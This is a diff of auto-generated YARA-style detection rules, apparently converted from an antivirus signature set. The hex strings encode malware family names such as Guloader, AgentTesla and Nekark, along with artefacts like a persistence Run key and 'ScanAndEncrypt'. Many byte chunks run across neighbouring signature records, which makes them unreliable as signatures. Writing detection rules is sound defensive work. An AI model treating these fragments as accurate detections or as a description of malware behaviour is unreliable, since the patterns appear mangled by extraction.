+rule _InfrastructureShared_17906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -198776,7 +212021,7 @@ rule _InfrastructureShared_16805{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*18761+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_15_8 & 1)*0+(#a_e4_11 & 1)*-255) >=13 } -rule _InfrastructureShared_16806{ +rule _InfrastructureShared_17907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 15 00 21 " @@ -198796,7 +212041,7 @@ rule _InfrastructureShared_16806{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*1536+(#a_ff_3 & 1)*1536+(#a_ff_5 & 1)*1536+(#a_ff_7 & 1)*1536+(#a_ff_9 & 1)*1536+(#a_ff_11 & 1)*1536+(#a_ff_13 & 1)*1536+(#a_ff_15 & 1)*1536+(#a_ff_17 & 1)*1536+(#a_ff_19 & 1)*1536) >=16 } -rule _InfrastructureShared_16807{ +rule _InfrastructureShared_17908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 0c 00 21 " @@ -198816,7 +212061,7 @@ rule _InfrastructureShared_16807{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25924+(#a_65_2 & 1)*28530+(#a_6e_3 & 1)*27247+(#a_6d_4 & 1)*29254+(#a_56_5 & 1)*25445+(#a_73_6 & 1)*26477+(#a_00_7 & 1)*102+(#a_00_9 & 1)*115+(#a_00_10 & 1)*5631+(#a_34_11 & 1)*0) >=24 } -rule _InfrastructureShared_16808{ +rule _InfrastructureShared_17909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 0d 00 21 " @@ -198834,7 +212079,7 @@ rule _InfrastructureShared_16808{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*28531+(#a_02_2 & 1)*28532+(#a_00_3 & 1)*26724+(#a_00_4 & 1)*62+(#a_00_6 & 1)*101+(#a_ff_8 & 1)*656+(#a_90_10 & 1)*-248+(#a_90_11 & 1)*-14544) >=26 } -rule _InfrastructureShared_16809{ +rule _InfrastructureShared_17910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 05 00 21 " @@ -198846,7 +212091,7 @@ rule _InfrastructureShared_16809{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*25959+(#a_00_3 & 1)*108) >=30 } -rule _InfrastructureShared_16810{ +rule _InfrastructureShared_17911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -198863,7 +212108,7 @@ rule _InfrastructureShared_16810{ ((#a_54_0 & 1)*18467+(#a_68_2 & 1)*4352+(#a_ff_3 & 1)*656+(#a_ff_4 & 1)*656+(#a_ff_5 & 1)*656+(#a_01_6 & 1)*-29952+(#a_75_7 & 1)*17711+(#a_00_8 & 1)*67) >=1 } -rule _InfrastructureShared_16811{ +rule _InfrastructureShared_17912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -198875,7 +212120,7 @@ rule _InfrastructureShared_16811{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_2d_2 & 1)*14637) >=3 } -rule _InfrastructureShared_16812{ +rule _InfrastructureShared_17913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -198888,7 +212133,7 @@ rule _InfrastructureShared_16812{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_00_3 & 1)*32+(#a_6e_4 & 1)*24946) >=3 } -rule _InfrastructureShared_16813{ +rule _InfrastructureShared_17914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -198901,7 +212146,7 @@ rule _InfrastructureShared_16813{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8283+(#a_48_2 & 1)*16722+(#a_00_4 & 1)*5752) >=3 } -rule _InfrastructureShared_16814{ +rule _InfrastructureShared_17915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 05 00 21 " @@ -198915,7 +212160,7 @@ rule _InfrastructureShared_16814{ ((#a_54_0 & 1)*18467+(#a_c6_1 & 1)*-1+(#a_00_2 & 1)*-1+(#a_73_3 & 1)*28516+(#a_73_4 & 1)*29295) >=3 } -rule _InfrastructureShared_16815{ +rule _InfrastructureShared_17916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -198928,7 +212173,7 @@ rule _InfrastructureShared_16815{ ((#a_5f_0 & 1)*25635+(#a_61_1 & 1)*29728+(#a_6e_2 & 1)*26996+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_16816{ +rule _InfrastructureShared_17917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -198939,7 +212184,7 @@ rule _InfrastructureShared_16816{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31232) >=5 } -rule _InfrastructureShared_16817{ +rule _InfrastructureShared_17918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -198947,12 +212192,26 @@ rule _InfrastructureShared_16817{ $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 4c 61 7a 61 72 75 73 5f 44 65 63 5f 31 37 5f 32 00 02 00 3c 03 53 00 6b 00 79 00 70 00 65 00 53 00 65 00 74 00 75 00 70 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a } //16675 $a_90_1 = {02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 02 00 31 03 25 73 5c 53 6b 79 70 65 53 65 74 75 70 2e 65 78 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 02 00 4e 03 53 00 6b 00 79 00 70 00 65 00 20 00 54 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 69 00 65 00 73 00 20 00 53 00 2e 00 41 00 2e 00 90 2c } //11617 $a_2d_2 = {41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 ff ff 1a 81 01 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 } //2305 - $a_67_3 = {50 43 41 00 00 78 16 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 4d 61 6c 61 67 65 6e 74 2e 47 56 21 41 4d 54 42 00 01 00 08 01 62 6f 74 42 79 74 65 73 01 00 11 01 6c 6f 61 64 42 6f 74 46 72 6f 6d 53 65 72 76 65 72 01 00 0a 01 64 65 63 72 79 70 74 42 6f 74 01 00 0e 01 4b 69 } //26990 + $a_67_3 = {50 43 41 00 00 78 16 01 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 65 6b 61 72 6b 2e 41 59 43 21 4d 54 42 00 02 00 23 01 52 65 64 45 6e 67 69 6e 65 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 52 65 64 45 6e 67 69 6e 65 2e 70 64 62 01 00 3c 00 52 00 65 00 64 00 45 00 6e 00 67 00 69 00 6e 00 65 00 2e } //26990 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617+(#a_2d_2 & 1)*2305+(#a_67_3 & 1)*26990) >=6 } -rule _InfrastructureShared_16818{ +rule _InfrastructureShared_17919{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 65 6b 61 72 6b 2e 41 59 43 21 4d 54 42 00 02 00 23 01 52 65 64 45 6e 67 69 6e 65 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 52 65 64 45 6e 67 69 6e 65 2e 70 64 62 01 00 3c 00 52 00 65 00 64 00 } //16675 + $a_00_1 = {67 00 69 00 6e 00 65 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 0e 01 53 63 61 6e 41 6e 64 45 6e 63 72 79 70 74 01 00 5a 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 } //69 + $a_00_2 = {6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 01 00 12 00 50 00 43 00 20 00 69 00 6e 00 66 00 65 00 63 00 74 00 00 00 78 16 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 } //87 + $a_61_3 = {61 67 65 6e 74 2e 47 56 21 41 4d 54 42 00 01 00 08 01 62 6f 74 42 79 74 65 73 01 00 11 01 6c 6f 61 64 42 6f 74 46 72 6f 6d 53 65 72 76 65 72 01 00 0a 01 64 65 63 72 79 70 74 42 6f 74 01 00 0e 01 4b 69 6c 6c 4f 6c 64 55 70 64 61 74 } //12108 + $a_00_4 = {0f } //29285 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*69+(#a_00_2 & 1)*87+(#a_61_3 & 1)*12108+(#a_00_4 & 1)*29285) >=6 + +} +rule _InfrastructureShared_17920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -198966,7 +212225,7 @@ rule _InfrastructureShared_16818{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31090+(#a_00_3 & 1)*118+(#a_00_4 & 1)*21581+(#a_66_5 & 1)*25700) >=6 } -rule _InfrastructureShared_16819{ +rule _InfrastructureShared_17921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -198976,31 +212235,48 @@ rule _InfrastructureShared_16819{ $a_6a_2 = {00 14 81 01 6a 66 66 61 66 73 66 66 72 64 68 63 73 64 73 67 6b 66 66 6a 01 00 11 81 01 67 64 64 64 66 64 73 66 64 68 66 73 73 66 64 67 68 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 16 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a } //26726 $a_32_3 = {21 4d 54 42 00 01 00 20 81 01 6e 73 74 61 6c 6c 5c 70 6c 79 6e 64 72 65 6e 64 65 73 5c 61 6d 61 6c 67 61 6d 65 72 69 6e 67 73 01 00 15 81 01 23 5c } //21320 $a_6c_4 = {73 5c 62 69 6c 6c 65 74 65 72 5c 70 6c 69 01 00 0e 81 01 6b 72 6f 6d 6f 73 6f 6d 5c 70 6f 74 65 6e 01 00 2f 81 01 72 64 62 6c 69 73 73 65 64 65 73 5c 55 6e 69 6e 73 74 61 6c 6c 5c 70 6c 79 6e 64 72 65 6e 64 65 73 5c 61 6d 61 6c 67 61 6d 65 72 69 6e 67 73 01 00 12 81 01 54 6c 6c 65 72 31 31 36 5c 55 74 79 73 6b 65 72 6e 65 01 00 12 81 01 25 } //30055 - $a_75_5 = {63 68 25 5c 6d 61 64 61 6d 6d 65 6e 01 00 0e 81 01 4a 61 76 61 6e 65 73 65 72 65 2e 75 6e 61 01 00 0d 81 01 6d 69 64 74 73 6b 69 62 73 2e 74 78 74 01 00 0e 81 01 73 68 69 76 61 69 73 74 69 63 2e 72 69 67 00 00 78 16 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //29286 - $a_67_6 = {65 74 54 65 73 6c 61 2e 52 52 41 31 39 31 31 21 4d 54 42 00 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 11 01 43 61 6e 52 65 75 73 65 54 72 61 6e 73 66 6f 72 6d 01 00 13 01 49 6e 69 74 69 61 6c 69 } //12108 - $a_6f_7 = {70 6f 6e 65 6e 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 6b 65 79 43 6f 64 65 73 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 70 6c 61 63 65 01 00 1e 00 54 00 20 00 20 00 6f 00 20 00 57 } //25978 + $a_75_5 = {63 68 25 5c 6d 61 64 61 6d 6d 65 6e 01 00 0e 81 01 4a 61 76 61 6e 65 73 65 72 65 2e 75 6e 61 01 00 0d 81 01 6d 69 64 74 73 6b 69 62 73 2e 74 78 74 01 00 0e 81 01 73 68 69 76 61 69 73 74 69 63 2e 72 69 67 00 00 78 16 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f } //29286 + $a_72_6 = {4c 46 56 30 31 21 4d 54 42 00 01 00 2a 81 01 5c 62 69 6f 66 79 73 69 6b 6b 65 6e 5c 6e 6f 72 6d 61 6c 66 6f 72 62 72 75 67 5c 74 65 6c 65 66 6f 6e 73 61 6d 74 61 6c 65 72 01 00 12 81 01 53 6f 64 61 70 61 73 74 69 6c 6c 65 72 73 2e 74 78 74 01 00 12 81 01 53 61 6d 66 75 6e 64 73 68 65 6e 73 79 6e 2e 69 } //25697 + $a_00_7 = {13 } //26990 condition: - ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*26739+(#a_6a_2 & 1)*26726+(#a_32_3 & 1)*21320+(#a_6c_4 & 1)*30055+(#a_75_5 & 1)*29286+(#a_67_6 & 1)*12108+(#a_6f_7 & 1)*25978) >=8 + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*26739+(#a_6a_2 & 1)*26726+(#a_32_3 & 1)*21320+(#a_6c_4 & 1)*30055+(#a_75_5 & 1)*29286+(#a_72_6 & 1)*25697+(#a_00_7 & 1)*26990) >=8 } -rule _InfrastructureShared_16820{ +rule _InfrastructureShared_17922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 53 31 32 33 21 4d 54 42 00 01 00 20 81 01 6e 73 74 61 6c 6c 5c 70 6c 79 6e 64 72 65 6e 64 65 73 5c 61 6d 61 6c 67 61 6d 65 72 69 6e 67 73 01 00 15 81 01 23 5c 67 75 72 6c 69 73 5c 62 69 6c 6c } //18467 $a_72_1 = {70 6c 69 01 00 0e 81 01 6b 72 6f 6d 6f 73 6f 6d 5c 70 6f 74 65 6e 01 00 2f 81 01 72 64 62 6c 69 73 73 65 64 65 73 5c 55 6e 69 6e 73 74 61 6c 6c 5c 70 6c 79 6e 64 72 65 6e 64 65 73 5c 61 6d 61 6c 67 61 6d 65 72 69 6e 67 73 01 00 12 81 01 54 6c 6c 65 72 31 31 36 5c 55 74 79 73 6b 65 72 6e 65 01 00 12 81 } //29797 - $a_72_2 = {75 6e 63 68 25 5c 6d 61 64 61 6d 6d 65 6e 01 00 0e 81 01 4a 61 76 61 6e 65 73 65 72 65 2e 75 6e 61 01 00 0d 81 01 6d 69 64 74 73 6b 69 62 73 2e 74 78 74 01 00 0e 81 01 73 68 69 76 61 69 73 74 69 63 2e 72 69 67 00 00 78 16 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 } //9473 - $a_74_3 = {65 73 6c 61 2e 52 52 41 31 39 31 31 21 4d 54 42 00 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 11 01 43 61 6e 52 65 75 73 65 54 72 61 6e 73 66 6f 72 6d 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 6b 65 79 43 6f 64 65 73 01 00 06 } //28263 - $a_76_4 = {6b 65 01 00 07 01 52 65 70 6c 61 63 65 01 00 1e 00 54 00 20 00 20 00 6f 00 20 00 57 00 20 00 69 00 20 00 6e 00 20 00 33 00 20 00 32 00 20 00 01 00 0c 00 53 00 65 00 61 00 72 00 63 00 68 00 01 00 48 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 54 00 72 00 61 00 6e 00 73 00 61 00 63 00 74 00 69 00 6f 00 6e 00 73 } //18689 - $a_00_6 = {69 00 6c 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 00 00 78 16 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 58 21 4d 54 42 00 01 } //120 - $a_01_7 = {5c 6d 69 6c 6c 77 6f 72 6b 5c 46 6f 75 6c 6e 65 73 73 65 73 5c 75 6e 63 68 61 6c 6c 65 6e 67 65 61 62 6c 65 6e 65 73 73 01 00 0a 81 01 42 6f 72 61 6e 69 2e 69 6e 69 01 00 0b 81 01 44 65 72 74 68 39 37 2e 6a 70 67 01 00 19 81 01 46 6f 72 74 6f 6c 6b 6e 69 6e 67 73 76 65 6e 6c 69 67 31 36 33 2e 6f 73 74 01 00 11 81 01 61 6e 61 6b 72 6f 6e 69 73 74 69 73 6b 2e 6a 70 67 01 00 0e 81 01 62 } //10240 - $a_67_8 = {75 70 70 65 2e 64 6f 6d 01 00 0f 81 01 62 65 63 72 69 70 70 6c 69 6e 67 2e 6a 70 67 01 00 0b 81 01 63 61 74 62 6f 61 74 2e 74 78 74 01 00 13 81 01 64 69 6d 69 74 74 65 72 69 6e 67 65 72 6e 65 2e 6a 70 67 01 00 15 81 01 75 64 65 6e 72 69 67 73 70 6f 6c 69 74 69 73 6b 65 2e 69 6e 69 00 00 78 16 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f } //24933 + $a_72_2 = {75 6e 63 68 25 5c 6d 61 64 61 6d 6d 65 6e 01 00 0e 81 01 4a 61 76 61 6e 65 73 65 72 65 2e 75 6e 61 01 00 0d 81 01 6d 69 64 74 73 6b 69 62 73 2e 74 78 74 01 00 0e 81 01 73 68 69 76 61 69 73 74 69 63 2e 72 69 67 00 00 78 16 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //9473 + $a_46_3 = {30 31 21 4d 54 42 00 01 00 2a 81 01 5c 62 69 6f 66 79 73 69 6b 6b 65 6e 5c 6e 6f 72 6d 61 6c 66 6f 72 62 72 75 67 5c 74 65 6c 65 66 6f 6e 73 61 6d 74 61 6c 65 72 01 00 12 81 01 53 6f 64 61 70 61 73 74 69 6c 6c 65 72 73 2e 74 78 } //11890 + $a_6d_5 = {75 6e 64 73 68 65 6e 73 79 6e 2e 69 6e 69 01 00 13 81 01 4f 70 72 72 73 74 72 6f 70 70 65 72 6e 65 73 2e 73 79 6d 01 00 0e 81 01 71 75 69 6e 74 75 70 6c 65 73 2e 63 6f 66 01 00 1a 81 01 70 75 72 67 61 74 6f 72 69 61 6c 20 67 65 72 6d 61 6e 6f 63 65 6e 74 72 69 63 01 00 1f 81 01 69 6e 74 72 } //21249 + $a_6e_6 = {74 69 6c 64 65 6c 69 6e 67 73 73 61 65 74 6e 69 6e 67 2e 65 78 65 01 00 0c 81 01 70 75 74 74 79 69 6e 67 2e 6c 65 77 01 00 0d 81 01 6c 6f 76 65 6c 69 65 73 74 2e 65 6b 73 00 00 78 16 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 6e 65 74 54 65 73 6c 61 2e 52 52 } //26473 + $a_31_7 = {21 4d 54 42 00 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 11 01 43 61 6e 52 65 75 73 65 54 72 61 6e 73 66 6f 72 6d 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f } //12609 + $a_74_8 = {00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 6b 65 79 43 6f 64 65 73 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 70 6c 61 63 65 01 00 1e 00 54 00 20 00 20 00 6f 00 20 00 57 00 20 00 69 00 20 00 6e 00 20 00 33 00 20 00 32 00 20 00 01 00 0c 00 53 00 65 00 61 00 72 00 63 00 68 00 01 00 48 00 53 00 79 00 73 00 74 00 65 00 6d } //25966 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29797+(#a_72_2 & 1)*9473+(#a_74_3 & 1)*28263+(#a_76_4 & 1)*18689+(#a_00_6 & 1)*120+(#a_01_7 & 1)*10240+(#a_67_8 & 1)*24933) >=9 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29797+(#a_72_2 & 1)*9473+(#a_46_3 & 1)*11890+(#a_6d_5 & 1)*21249+(#a_6e_6 & 1)*26473+(#a_31_7 & 1)*12609+(#a_74_8 & 1)*25966) >=9 } -rule _InfrastructureShared_16821{ +rule _InfrastructureShared_17923{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 46 56 30 31 21 4d 54 42 00 01 00 2a 81 01 5c 62 69 6f 66 79 73 69 6b 6b 65 6e 5c 6e 6f 72 6d 61 6c 66 6f 72 62 72 75 67 5c 74 65 6c 65 66 6f 6e 73 61 6d 74 61 6c 65 72 01 00 12 81 01 53 6f 64 61 70 } //18467 + $a_69_1 = {6c 65 72 73 2e 74 78 74 01 00 12 81 01 53 61 6d 66 75 6e 64 73 68 65 6e 73 79 6e 2e 69 6e 69 01 00 13 81 01 4f 70 72 72 73 74 72 6f 70 70 65 72 6e 65 73 2e 73 79 6d 01 00 0e 81 01 71 75 69 6e 74 75 70 6c 65 73 2e 63 6f 66 01 00 1a 81 01 70 75 72 67 61 74 6f 72 69 61 6c 20 67 65 72 6d 61 6e 6f 63 65 6e 74 72 69 63 01 00 1f 81 01 69 6e 74 72 69 67 } //29537 + $a_74_2 = {6c 64 65 6c 69 6e 67 73 73 61 65 74 6e 69 6e 67 2e 65 78 65 01 00 0c 81 01 70 75 74 74 79 69 6e } //28261 + $a_65_3 = {01 00 0d 81 01 6c 6f 76 65 6c 69 65 73 74 2e 65 6b 73 00 00 78 16 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 6e 65 74 54 65 73 6c 61 2e 52 52 41 31 39 31 31 21 4d 54 42 00 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 11 01 43 61 6e 52 65 75 73 65 54 72 61 6e 73 66 6f 72 6d 01 00 13 } //11879 + $a_69_4 = {69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 6b 65 79 43 6f 64 65 73 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 70 6c 61 63 65 01 00 1e 00 54 00 20 00 20 00 6f 00 20 00 57 00 20 00 69 00 20 00 6e 00 20 00 33 00 20 00 32 00 20 00 01 00 0c 00 53 00 65 00 61 00 72 00 63 00 68 } //18689 + $a_00_6 = {73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 54 00 72 00 61 00 6e 00 73 00 61 00 63 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 54 00 78 00 46 00 69 00 6c 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 00 00 78 16 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 58 21 4d 54 42 00 01 00 28 81 } //83 + $a_69_7 = {6c 77 6f 72 6b 5c 46 6f 75 6c 6e 65 73 73 65 73 5c 75 6e 63 68 61 6c 6c 65 6e 67 65 61 62 6c 65 6e 65 73 73 01 00 0a 81 01 42 6f 72 61 6e 69 2e 69 6e 69 01 00 0b 81 01 44 65 72 74 68 39 37 2e 6a 70 67 01 00 19 81 01 46 6f 72 74 6f 6c 6b 6e 69 6e 67 73 76 65 6e 6c 69 67 31 36 33 2e 6f 73 74 01 00 11 81 01 61 6e 61 6b 72 6f 6e } //23553 + $a_69_8 = {6b 2e 6a 70 67 01 00 0e 81 01 62 65 61 74 67 72 75 70 70 65 2e 64 6f 6d 01 00 0f 81 01 62 65 63 72 69 70 70 6c 69 6e 67 2e 6a 70 67 01 00 0b 81 01 63 61 74 62 6f 61 74 2e 74 78 74 01 00 13 81 01 64 69 6d 69 74 74 65 72 69 6e 67 65 72 6e 65 2e 6a 70 67 01 00 15 81 01 75 64 65 6e 72 69 67 73 70 6f 6c 69 74 69 73 6b 65 2e 69 6e 69 00 00 78 16 01 00 } //29545 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29537+(#a_74_2 & 1)*28261+(#a_65_3 & 1)*11879+(#a_69_4 & 1)*18689+(#a_00_6 & 1)*83+(#a_69_7 & 1)*23553+(#a_69_8 & 1)*29545) >=9 + +} +rule _InfrastructureShared_17924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -199010,14 +212286,15 @@ rule _InfrastructureShared_16821{ $a_00_3 = {49 00 4f 00 2e 00 54 00 72 00 61 00 6e 00 73 00 61 00 63 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 54 00 78 00 46 00 69 00 6c 00 65 00 4d 00 } //109 IO.Transactions.TxFileM $a_00_4 = {61 00 67 00 65 00 72 00 00 00 78 16 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 58 21 4d 54 42 00 01 00 28 81 01 5c 6d 69 6c 6c 77 6f 72 6b 5c 46 6f 75 6c 6e 65 73 73 65 73 5c 75 6e 63 68 61 6c 6c 65 6e 67 65 61 62 6c 65 6e 65 73 73 01 00 0a 81 01 42 6f 72 } //97 $a_2e_5 = {6e 69 01 00 0b 81 01 44 65 72 74 68 39 37 2e 6a 70 67 01 00 19 81 01 46 6f 72 74 6f 6c 6b 6e 69 6e 67 73 76 65 6e 6c 69 67 31 36 33 2e 6f 73 74 01 00 11 81 01 61 6e 61 6b 72 6f 6e 69 73 74 69 73 6b 2e 6a 70 67 01 00 0e 81 01 62 65 61 74 67 72 75 70 70 65 2e 64 6f 6d 01 00 0f 81 01 62 65 63 72 69 70 70 6c 69 6e 67 } //28257 - $a_67_6 = {00 0b 81 01 63 61 74 62 6f 61 74 2e 74 78 74 01 00 13 81 01 64 69 6d 69 74 74 65 72 69 6e 67 65 72 6e 65 2e 6a 70 67 01 00 15 81 01 75 64 65 6e 72 69 67 73 70 6f 6c 69 74 69 73 6b 65 2e 69 6e 69 00 00 78 16 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 4b 41 46 31 34 35 21 4d } //27182 - $a_01_8 = {45 6e 63 6f 64 69 6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 05 81 01 53 6c 65 65 70 01 00 18 81 01 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0e 81 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 01 00 06 81 01 46 6f 72 6d 61 74 01 00 11 81 } //2048 - $a_44_9 = {62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0c 81 01 4e 43 58 56 4e 43 47 4a 4a 44 46 24 01 00 25 81 01 24 39 30 36 32 32 61 36 38 2d 66 37 65 65 2d 34 62 30 33 2d 39 61 31 62 2d 61 66 38 30 39 38 35 37 32 32 62 35 01 00 10 81 01 54 6b 4e 59 56 6b 35 44 52 30 70 4b 52 45 59 6b 00 00 78 16 01 } //28673 + $a_67_6 = {00 0b 81 01 63 61 74 62 6f 61 74 2e 74 78 74 01 00 13 81 01 64 69 6d 69 74 74 65 72 69 6e 67 65 72 6e 65 2e 6a 70 67 01 00 15 81 01 75 64 65 6e 72 69 67 73 70 6f 6c 69 74 69 73 6b 65 2e 69 6e 69 00 00 78 16 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 48 21 4d 54 } //27182 + $a_00_7 = {0f } //66 + $a_6c_8 = {69 63 6f 72 6e 69 75 6d 2e 69 6e 69 01 00 